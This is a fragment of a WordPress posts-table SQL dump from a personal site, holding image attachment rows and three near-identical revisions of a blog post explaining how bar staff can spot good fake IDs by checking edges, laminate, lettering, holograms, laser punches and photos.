(140,1,'2021-07-22 21:52:50','2021-07-22 21:52:50','','IMG_20200224_155208881','','inherit','open','closed','','img_20200224_155208881','','','2021-07-22 21:52:50','2021-07-22 21:52:50','',90,'https://trevorklee.com/wp-content/uploads/2021/07/IMG_20200224_155208881.jpg',0,'attachment','image/jpeg',0),
(141,1,'2021-07-22 21:53:18','2021-07-22 21:53:18','','IMG_20200224_155450057_BURST000_COVER_TOP','','inherit','open','closed','','img_20200224_155450057_burst000_cover_top','','','2021-07-22 21:53:18','2021-07-22 21:53:18','',90,'https://trevorklee.com/wp-content/uploads/2021/07/IMG_20200224_155450057_BURST000_COVER_TOP.jpg',0,'attachment','image/jpeg',0),
(142,1,'2021-07-22 21:53:39','2021-07-22 21:53:39','','IMG_20200224_155450057_BURST001','','inherit','open','closed','','img_20200224_155450057_burst001','','','2021-07-22 21:53:39','2021-07-22 21:53:39','',90,'https://trevorklee.com/wp-content/uploads/2021/07/IMG_20200224_155450057_BURST001.jpg',0,'attachment','image/jpeg',0),
(143,1,'2021-07-22 21:53:58','2021-07-22 21:53:58','','IMG_20200224_155726969','','inherit','open','closed','','img_20200224_155726969','','','2021-07-22 21:53:58','2021-07-22 21:53:58','',90,'https://trevorklee.com/wp-content/uploads/2021/07/IMG_20200224_155726969.jpg',0,'attachment','image/jpeg',0),
(144,1,'2021-07-22 21:54:19','2021-07-22 21:54:19','','IMG_20200224_155750208','','inherit','open','closed','','img_20200224_155750208','','','2021-07-22 21:54:19','2021-07-22 21:54:19','',90,'https://trevorklee.com/wp-content/uploads/2021/07/IMG_20200224_155750208.jpg',0,'attachment','image/jpeg',0),
(145,1,'2021-07-22 21:54:39','2021-07-22 21:54:39','','IMG_20200224_155838269','','inherit','open','closed','','img_20200224_155838269','','','2021-07-22 21:54:39','2021-07-22 21:54:39','',90,'https://trevorklee.com/wp-content/uploads/2021/07/IMG_20200224_155838269.jpg',0,'attachment','image/jpeg',0),
(146,1,'2021-07-22 21:55:01','2021-07-22 21:55:01','','IMG_20200224_160609500','','inherit','open','closed','','img_20200224_160609500','','','2021-07-22 21:55:01','2021-07-22 21:55:01','',90,'https://trevorklee.com/wp-content/uploads/2021/07/IMG_20200224_160609500.jpg',0,'attachment','image/jpeg',0),
(147,1,'2021-07-22 21:55:25','2021-07-22 21:55:25','','IMG_20200224_160743282','','inherit','open','closed','','img_20200224_160743282','','','2021-07-22 21:55:25','2021-07-22 21:55:25','',90,'https://trevorklee.com/wp-content/uploads/2021/07/IMG_20200224_160743282.jpg',0,'attachment','image/jpeg',0),
(148,1,'2021-07-22 21:55:45','2021-07-22 21:55:45','','IMG_20200224_160758336','','inherit','open','closed','','img_20200224_160758336','','','2021-07-22 21:55:45','2021-07-22 21:55:45','',90,'https://trevorklee.com/wp-content/uploads/2021/07/IMG_20200224_160758336.jpg',0,'attachment','image/jpeg',0),
(149,1,'2021-07-22 21:56:11','2021-07-22 21:56:11','','IMG_20200224_160811793','','inherit','open','closed','','img_20200224_160811793','','','2021-07-22 21:56:11','2021-07-22 21:56:11','',90,'https://trevorklee.com/wp-content/uploads/2021/07/IMG_20200224_160811793.jpg',0,'attachment','image/jpeg',0),
(150,1,'2021-07-22 21:56:38','2021-07-22 21:56:38','','IMG_20200224_160952087','','inherit','open','closed','','img_20200224_160952087','','','2021-07-22 21:56:38','2021-07-22 21:56:38','',90,'https://trevorklee.com/wp-content/uploads/2021/07/IMG_20200224_160952087.jpg',0,'attachment','image/jpeg',0),
(151,1,'2021-07-22 21:56:59','2021-07-22 21:56:59','','IMG_20200224_161041757','','inherit','open','closed','','img_20200224_161041757','','','2021-07-22 21:56:59','2021-07-22 21:56:59','',90,'https://trevorklee.com/wp-content/uploads/2021/07/IMG_20200224_161041757.jpg',0,'attachment','image/jpeg',0),
(152,1,'2021-07-22 21:57:18','2021-07-22 21:57:18','','IMG_20200224_161316872_HDR','','inherit','open','closed','','img_20200224_161316872_hdr','','','2021-07-22 21:57:18','2021-07-22 21:57:18','',90,'https://trevorklee.com/wp-content/uploads/2021/07/IMG_20200224_161316872_HDR.jpg',0,'attachment','image/jpeg',0),
(153,1,'2021-07-22 21:57:39','2021-07-22 21:57:39','','IMG_20200224_161332787_HDR','','inherit','open','closed','','img_20200224_161332787_hdr','','','2021-07-22 21:57:39','2021-07-22 21:57:39','',90,'https://trevorklee.com/wp-content/uploads/2021/07/IMG_20200224_161332787_HDR.jpg',0,'attachment','image/jpeg',0),
(154,1,'2021-07-22 21:57:59','2021-07-22 21:57:59','','IMG_20200224_172959137','','inherit','open','closed','','img_20200224_172959137','','','2021-07-22 21:57:59','2021-07-22 21:57:59','',90,'https://trevorklee.com/wp-content/uploads/2021/07/IMG_20200224_172959137.jpg',0,'attachment','image/jpeg',0),
(155,1,'2021-07-22 21:58:20','2021-07-22 21:58:20','','IMG_20200224_173046915','','inherit','open','closed','','img_20200224_173046915','','','2021-07-22 21:58:20','2021-07-22 21:58:20','',90,'https://trevorklee.com/wp-content/uploads/2021/07/IMG_20200224_173046915.jpg',0,'attachment','image/jpeg',0),
(156,1,'2021-07-22 21:58:39','2021-07-22 21:58:39','','IMG_20200224_173115760','','inherit','open','closed','','img_20200224_173115760','','','2021-07-22 21:58:39','2021-07-22 21:58:39','',90,'https://trevorklee.com/wp-content/uploads/2021/07/IMG_20200224_173115760.jpg',0,'attachment','image/jpeg',0),
(157,1,'2021-07-22 21:59:02','2021-07-22 21:59:02','','IMG_20200224_173423582_HDR','','inherit','open','closed','','img_20200224_173423582_hdr','','','2021-07-22 21:59:02','2021-07-22 21:59:02','',90,'https://trevorklee.com/wp-content/uploads/2021/07/IMG_20200224_173423582_HDR.jpg',0,'attachment','image/jpeg',0),
(158,1,'2021-07-22 21:59:25','2021-07-22 21:59:25','','IMG_20200224_173432115_HDR','','inherit','open','closed','','img_20200224_173432115_hdr','','','2021-07-22 21:59:25','2021-07-22 21:59:25','',90,'https://trevorklee.com/wp-content/uploads/2021/07/IMG_20200224_173432115_HDR.jpg',0,'attachment','image/jpeg',0),
(159,1,'2021-07-22 21:59:46','2021-07-22 21:59:46','','IMG_20200224_173548773','','inherit','open','closed','','img_20200224_173548773','','','2021-07-22 21:59:46','2021-07-22 21:59:46','',90,'https://trevorklee.com/wp-content/uploads/2021/07/IMG_20200224_173548773.jpg',0,'attachment','image/jpeg',0),
(160,1,'2021-07-22 22:00:05','2021-07-22 22:00:05','','IMG_20200224_173602089_HDR','','inherit','open','closed','','img_20200224_173602089_hdr','','','2021-07-22 22:00:05','2021-07-22 22:00:05','',90,'https://trevorklee.com/wp-content/uploads/2021/07/IMG_20200224_173602089_HDR.jpg',0,'attachment','image/jpeg',0),
(161,1,'2021-07-22 22:00:28','2021-07-22 22:00:28','','IMG_20200224_173636411','','inherit','open','closed','','img_20200224_173636411','','','2021-07-22 22:00:28','2021-07-22 22:00:28','',90,'https://trevorklee.com/wp-content/uploads/2021/07/IMG_20200224_173636411.jpg',0,'attachment','image/jpeg',0),
(162,1,'2021-07-22 22:00:48','2021-07-22 22:00:48','','IMG_20200224_173755388','','inherit','open','closed','','img_20200224_173755388-2','','','2021-07-22 22:00:48','2021-07-22 22:00:48','',90,'https://trevorklee.com/wp-content/uploads/2021/07/IMG_20200224_173755388-1.jpg',0,'attachment','image/jpeg',0),
(163,1,'2021-07-22 22:01:07','2021-07-22 22:01:07','','IMG_20200224_173848282','','inherit','open','closed','','img_20200224_173848282','','','2021-07-22 22:01:07','2021-07-22 22:01:07','',90,'https://trevorklee.com/wp-content/uploads/2021/07/IMG_20200224_173848282.jpg',0,'attachment','image/jpeg',0),
(164,1,'2021-07-22 22:01:28','2021-07-22 22:01:28','','IMG_20200224_174025616','','inherit','open','closed','','img_20200224_174025616','','','2021-07-22 22:01:28','2021-07-22 22:01:28','',90,'https://trevorklee.com/wp-content/uploads/2021/07/IMG_20200224_174025616.jpg',0,'attachment','image/jpeg',0),
(165,1,'2021-07-22 22:26:21','2021-07-22 22:26:21','<!-- wp:paragraph -->\n<p>One of my favorite things in the world is the very specific, strange competencies that people develop over the course of a job. Carpenters might be able to estimate the length of anything just by looking at it, architects might be able to quickly sketch a remarkably accurate picture from memory, etc.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This post comes from one of those specific competencies. One of my friends in Boston is a bouncer at a busy bar. From his job, he’s gotten very good at spotting fake IDs.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This isn’t a skill a lot of people think about. Even bars don’t often think much about it. Most bars just employ a pretty cursory check of fake IDs: bend the ID to make sure it’s made from proper card stock, try to peel back the edges, check the picture against the person, and maybe quiz the person on their address. If they have the capability, the bars might try scanning the IDs as well, and see if the scan matches.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>All of these are good for spotting bad fake IDs. They are not useful for spotting good fake IDs.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Good fake IDs will use the same card stock as real IDs. Their laminates won’t be able to be peeled back. Their photos will be photos that the person took themselves. Their data will be the actual data that the person inputted themself, and the ID will be scannable. It’ll show that exact same ID’s data.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In order to spot a good fake ID, you have to be more clever than that.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Here’s how you do it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>1. Check the edges</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Feel the edge of your actual driver’s license. You’ll notice it’s smooth with rounded corners. This is because your ID is laser cut.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The edges of a fake ID might be rough, or have little threads. This is the sign of a hand cut or machine cut ID. These are fake.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>2. Check the laminate</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Laminate on hard plastic is difficult to do correctly. Fake IDs have come along way since the days where it\'d just be glue on laminate, but that doesn\'t meant the laminate is perfect.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>On your real ID, the laminate is almost unnoticeable, except for a slight glossy sheen. It ends at the end of the card, although if you look very closely at the edge of the card you can see two or three layers: the laminate, the card stock, and possibly another layer of laminate.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>On fake IDs, the laminate is often not so well stuck on. The laminate gets folds or dirt underneath it, especially around the edges. It also frequently pokes a tiny bit beyond the edges, which you can see if you flash a light directly on the edges.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Even if the laminate is stuck on correctly, it\'s difficult for fake ID manufacturers to get the same kind of laminate as real ID manufacturers. They use substitutes, which are often far too reflective. You can often see this extreme reflectivity on fake passports, too. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>3. Check the raised and indented lettering</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>There are a few parts of your ID that have raised and indented lettering. In my Massachusetts ID, my birthdate in the bottom right is raised, and my initials and birthyear under my photo are indented.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is difficult and expensive to do. Cheaper ID manufacturers might try to cheat it, especially the indented lettering. They\'ll just skip the indent, making the letters in line with the rest of the card stock. You\'ll be able to feel it with your fingers.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It\'s especially difficult to have colored, raised lettering. Fake ID manufacturers struggle coloring the lettering in fully, leaving spots or speckles on the lettering.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>4. Check the hologram </h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Holograms used to be a premium security feature on IDs. Unfortunately, that\'s no longer the case. Most fake ID manufacturers have no problems with holograms.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>However, they\'ll still cheap out on the quality of the hologram. For example, on my Massachusetts license, there\'s a hologram of a bird. It has a few features which are very difficult for a fake ID manufacturer to copy: a small cut-out eye, tiny lettering reading \"Massachusetts\", and my initials and birth year embedded within it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It\'s rare that a fake ID manufacturer will be able to copy that quality of hologram directly. So they\'ll try to cheat. They might just print the hologram directly on the card stock, hoping people don\'t realize that it\'s not raised at all. Or, they might give up on cutting out the eye.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Regardless, if you\'re familiar with the look of the proper hologram, especially the way in which the hologram is raised and separate from the card itself, you\'ll have no problem spotting when a fake ID manufacturer gives up on it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>5. Check the back</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Fake ID manufacturers are in the business of producing fake IDs good enough that an overworked bouncer or college kid who just spent his last $100 is satisfied.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>What do both of those groups have in common? They really check the front of the ID, and skim the back. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Fake ID manufacturers know this. So they\'ll often cheap out on the letters on the back. Unlike the letters on the front, the lettering on the back might be misaligned, speckled, or running together.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>6. Check the laser punch</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Another very common security feature is the laser punch. It\'s easier to see if you look at the back of your ID. You\'ll notice tiny little holes, probably in the shape of your state.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To make clean, lined-up holes, you need an expensive laser. As you\'ve probably figured out by now, that\'s not something fake ID manufacturers tend to have.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, they do their best with machine punching. This results in poorly lined up holes that might look messy or a bit scarred.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>7. Check the photo</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Do you remember when you got your photo taken for your license? They made you stand in front of a blank background. There was strong, direct light on your face, then they took a high quality photo.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is not how people take fake ID photos. Their friends use their camera phone to take a photo in front of a blank wall. Then the fake ID manufacturers photoshop the photo onto the ID.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, in a fake ID photo, there may be artifacts left over from the photoshop, like around the edges of the hair. There will likely not be shadows from strong, direct light. The photo may be poor quality or fuzzy.</p>\n<!-- /wp:paragraph -->','How to spot a good fake ID','','inherit','closed','closed','','90-revision-v1','','','2021-07-22 22:26:21','2021-07-22 22:26:21','',90,'https://trevorklee.com/?p=165',0,'revision','',0),
(166,1,'2021-07-22 22:26:41','2021-07-22 22:26:41','<!-- wp:paragraph -->\n<p>One of my favorite things in the world is the very specific, strange competencies that people develop over the course of a job. Carpenters might be able to estimate the length of anything just by looking at it, architects might be able to quickly sketch a remarkably accurate picture from memory, etc.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This post comes from one of those specific competencies. One of my friends in Boston is a bouncer at a busy bar. From his job, he’s gotten very good at spotting fake IDs.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This isn’t a skill a lot of people think about. Even bars don’t often think much about it. Most bars just employ a pretty cursory check of fake IDs: bend the ID to make sure it’s made from proper card stock, try to peel back the edges, check the picture against the person, and maybe quiz the person on their address. If they have the capability, the bars might try scanning the IDs as well, and see if the scan matches.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>All of these are good for spotting bad fake IDs. They are not useful for spotting good fake IDs.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Good fake IDs will use the same card stock as real IDs. Their laminates won’t be able to be peeled back. Their photos will be photos that the person took themselves. Their data will be the actual data that the person inputted themselves, and the ID will be scannable. It’ll show that exact same ID’s data.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In order to spot a good fake ID, you have to be more clever than that.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Here’s how you do it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>1. Check the edges</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Feel the edge of your actual driver’s license. You’ll notice it’s smooth with rounded corners. This is because your ID is laser cut.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The edges of a fake ID might be rough, or have little threads. This is the sign of a hand cut or machine cut ID. These are fake.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>2. Check the laminate</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Laminate on hard plastic is difficult to do correctly. Fake IDs have come along way since the days where it\'d just be glue on laminate, but that doesn\'t meant the laminate is perfect.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>On your real ID, the laminate is almost unnoticeable, except for a slight glossy sheen. It ends at the end of the card, although if you look very closely at the edge of the card you can see two or three layers: the laminate, the card stock, and possibly another layer of laminate.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>On fake IDs, the laminate is often not so well stuck on. The laminate gets folds or dirt underneath it, especially around the edges. It also frequently pokes a tiny bit beyond the edges, which you can see if you flash a light directly on the edges.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Even if the laminate is stuck on correctly, it\'s difficult for fake ID manufacturers to get the same kind of laminate as real ID manufacturers. They use substitutes, which are often far too reflective. You can often see this extreme reflectivity on fake passports, too. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>3. Check the raised and indented lettering</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>There are a few parts of your ID that have raised and indented lettering. In my Massachusetts ID, my birthdate in the bottom right is raised, and my initials and birthyear under my photo are indented.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is difficult and expensive to do. Cheaper ID manufacturers might try to cheat it, especially the indented lettering. They\'ll just skip the indent, making the letters in line with the rest of the card stock. You\'ll be able to feel it with your fingers.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It\'s especially difficult to have colored, raised lettering. Fake ID manufacturers struggle coloring the lettering in fully, leaving spots or speckles on the lettering.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>4. Check the hologram </h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Holograms used to be a premium security feature on IDs. Unfortunately, that\'s no longer the case. Most fake ID manufacturers have no problems with holograms.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>However, they\'ll still cheap out on the quality of the hologram. For example, on my Massachusetts license, there\'s a hologram of a bird. It has a few features which are very difficult for a fake ID manufacturer to copy: a small cut-out eye, tiny lettering reading \"Massachusetts\", and my initials and birth year embedded within it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It\'s rare that a fake ID manufacturer will be able to copy that quality of hologram directly. So they\'ll try to cheat. They might just print the hologram directly on the card stock, hoping people don\'t realize that it\'s not raised at all. Or, they might give up on cutting out the eye.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Regardless, if you\'re familiar with the look of the proper hologram, especially the way in which the hologram is raised and separate from the card itself, you\'ll have no problem spotting when a fake ID manufacturer gives up on it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>5. Check the back</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Fake ID manufacturers are in the business of producing fake IDs good enough that an overworked bouncer or college kid who just spent his last $100 is satisfied.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>What do both of those groups have in common? They really check the front of the ID, and skim the back. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Fake ID manufacturers know this. So they\'ll often cheap out on the letters on the back. Unlike the letters on the front, the lettering on the back might be misaligned, speckled, or running together.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>6. Check the laser punch</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Another very common security feature is the laser punch. It\'s easier to see if you look at the back of your ID. You\'ll notice tiny little holes, probably in the shape of your state.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To make clean, lined-up holes, you need an expensive laser. As you\'ve probably figured out by now, that\'s not something fake ID manufacturers tend to have.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, they do their best with machine punching. This results in poorly lined up holes that might look messy or a bit scarred.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>7. Check the photo</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Do you remember when you got your photo taken for your license? They made you stand in front of a blank background. There was strong, direct light on your face, then they took a high quality photo.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is not how people take fake ID photos. Their friends use their camera phone to take a photo in front of a blank wall. Then the fake ID manufacturers photoshop the photo onto the ID.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, in a fake ID photo, there may be artifacts left over from the photoshop, like around the edges of the hair. There will likely not be shadows from strong, direct light. The photo may be poor quality or fuzzy.</p>\n<!-- /wp:paragraph -->','How to spot a good fake ID','','inherit','closed','closed','','90-revision-v1','','','2021-07-22 22:26:41','2021-07-22 22:26:41','',90,'https://trevorklee.com/?p=166',0,'revision','',0),
(167,1,'2021-07-22 22:26:55','2021-07-22 22:26:55','<!-- wp:paragraph -->\n<p>One of my favorite things in the world is the very specific, strange competencies that people develop over the course of a job. Carpenters might be able to estimate the length of anything just by looking at it, architects might be able to quickly sketch a remarkably accurate picture from memory, etc.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This post comes from one of those specific competencies. One of my friends in Boston is a bouncer at a busy bar. From his job, he’s gotten very good at spotting fake IDs.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This isn’t a skill a lot of people think about. Even bars don’t often think much about it. Most bars just employ a pretty cursory check of fake IDs: bend the ID to make sure it’s made from proper card stock, try to peel back the edges, check the picture against the person, and maybe quiz the person on their address. If they have the capability, the bars might try scanning the IDs as well, and see if the scan matches.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>All of these are good for spotting bad fake IDs. They are not useful for spotting good fake IDs.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Good fake IDs will use the same card stock as real IDs. Their laminates won’t be able to be peeled back. Their photos will be photos that the person took themselves. Their data will be the actual data that the person inputted themselves, and the ID will be scannable. It’ll show that exact same ID’s data.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In order to spot a good fake ID, you have to be more clever than that.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Here’s how you do it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>1. Check the edges</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Feel the edge of your actual driver’s license. You’ll notice it’s smooth with rounded corners. This is because your ID is laser cut.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The edges of a fake ID might be rough, or have little threads. This is the sign of a hand cut or machine cut ID. These are fake.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>2. Check the laminate</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Laminate on hard plastic is difficult to do correctly. Fake IDs have come along way since the days where it\'d just be glue-on laminate, but that doesn\'t meant the laminate is perfect.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>On your real ID, the laminate is almost unnoticeable, except for a slight glossy sheen. It ends at the end of the card, although if you look very closely at the edge of the card you can see two or three layers: the laminate, the card stock, and possibly another layer of laminate.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>On fake IDs, the laminate is often not so well stuck on. The laminate gets folds or dirt underneath it, especially around the edges. It also frequently pokes a tiny bit beyond the edges, which you can see if you flash a light directly on the edges.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Even if the laminate is stuck on correctly, it\'s difficult for fake ID manufacturers to get the same kind of laminate as real ID manufacturers. They use substitutes, which are often far too reflective. You can often see this extreme reflectivity on fake passports, too. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>3. Check the raised and indented lettering</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>There are a few parts of your ID that have raised and indented lettering. In my Massachusetts ID, my birthdate in the bottom right is raised, and my initials and birthyear under my photo are indented.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is difficult and expensive to do. Cheaper ID manufacturers might try to cheat it, especially the indented lettering. They\'ll just skip the indent, making the letters in line with the rest of the card stock. You\'ll be able to feel it with your fingers.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It\'s especially difficult to have colored, raised lettering. Fake ID manufacturers struggle coloring the lettering in fully, leaving spots or speckles on the lettering.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>4. Check the hologram </h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Holograms used to be a premium security feature on IDs. Unfortunately, that\'s no longer the case. Most fake ID manufacturers have no problems with holograms.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>However, they\'ll still cheap out on the quality of the hologram. For example, on my Massachusetts license, there\'s a hologram of a bird. It has a few features which are very difficult for a fake ID manufacturer to copy: a small cut-out eye, tiny lettering reading \"Massachusetts\", and my initials and birth year embedded within it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It\'s rare that a fake ID manufacturer will be able to copy that quality of hologram directly. So they\'ll try to cheat. They might just print the hologram directly on the card stock, hoping people don\'t realize that it\'s not raised at all. Or, they might give up on cutting out the eye.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Regardless, if you\'re familiar with the look of the proper hologram, especially the way in which the hologram is raised and separate from the card itself, you\'ll have no problem spotting when a fake ID manufacturer gives up on it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>5. Check the back</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Fake ID manufacturers are in the business of producing fake IDs good enough that an overworked bouncer or college kid who just spent his last $100 is satisfied.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>What do both of those groups have in common? They really check the front of the ID, and skim the back. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Fake ID manufacturers know this. So they\'ll often cheap out on the letters on the back. Unlike the letters on the front, the lettering on the back might be misaligned, speckled, or running together.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>6. Check the laser punch</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Another very common security feature is the laser punch. It\'s easier to see if you look at the back of your ID. You\'ll notice tiny little holes, probably in the shape of your state.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To make clean, lined-up holes, you need an expensive laser. As you\'ve probably figured out by now, that\'s not something fake ID manufacturers tend to have.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, they do their best with machine punching. This results in poorly lined up holes that might look messy or a bit scarred.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>7. Check the photo</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Do you remember when you got your photo taken for your license? They made you stand in front of a blank background. There was strong, direct light on your face, then they took a high quality photo.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is not how people take fake ID photos. Their friends use their camera phone to take a photo in front of a blank wall. Then the fake ID manufacturers photoshop the photo onto the ID.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, in a fake ID photo, there may be artifacts left over from the photoshop, like around the edges of the hair. There will likely not be shadows from strong, direct light. The photo may be poor quality or fuzzy.</p>\n<!-- /wp:paragraph -->','How to spot a good fake ID','','inherit','closed','closed','','90-revision-v1','','','2021-07-22 22:26:55','2021-07-22 22:26:55','',90,'https://trevorklee.com/?p=167',0,'revision','',0),
(168,1,'2021-07-22 22:31:34','2021-07-22 22:31:34','','IMG_20200224_154536726','','inherit','open','closed','','img_20200224_154536726-2','','','2021-07-22 22:31:34','2021-07-22 22:31:34','',0,'https://trevorklee.com/wp-content/uploads/2021/07/IMG_20200224_154536726-edited.jpg',0,'attachment','image/jpeg',0),
(169,1,'2021-07-22 22:41:38','2021-07-22 22:41:38','','WIN_20210722_18_41_24_Pro','','inherit','open','closed','','win_20210722_18_41_24_pro','','','2021-07-22 22:41:38','2021-07-22 22:41:38','',90,'https://trevorklee.com/wp-content/uploads/2021/07/WIN_20210722_18_41_24_Pro.jpg',0,'attachment','image/jpeg',0),
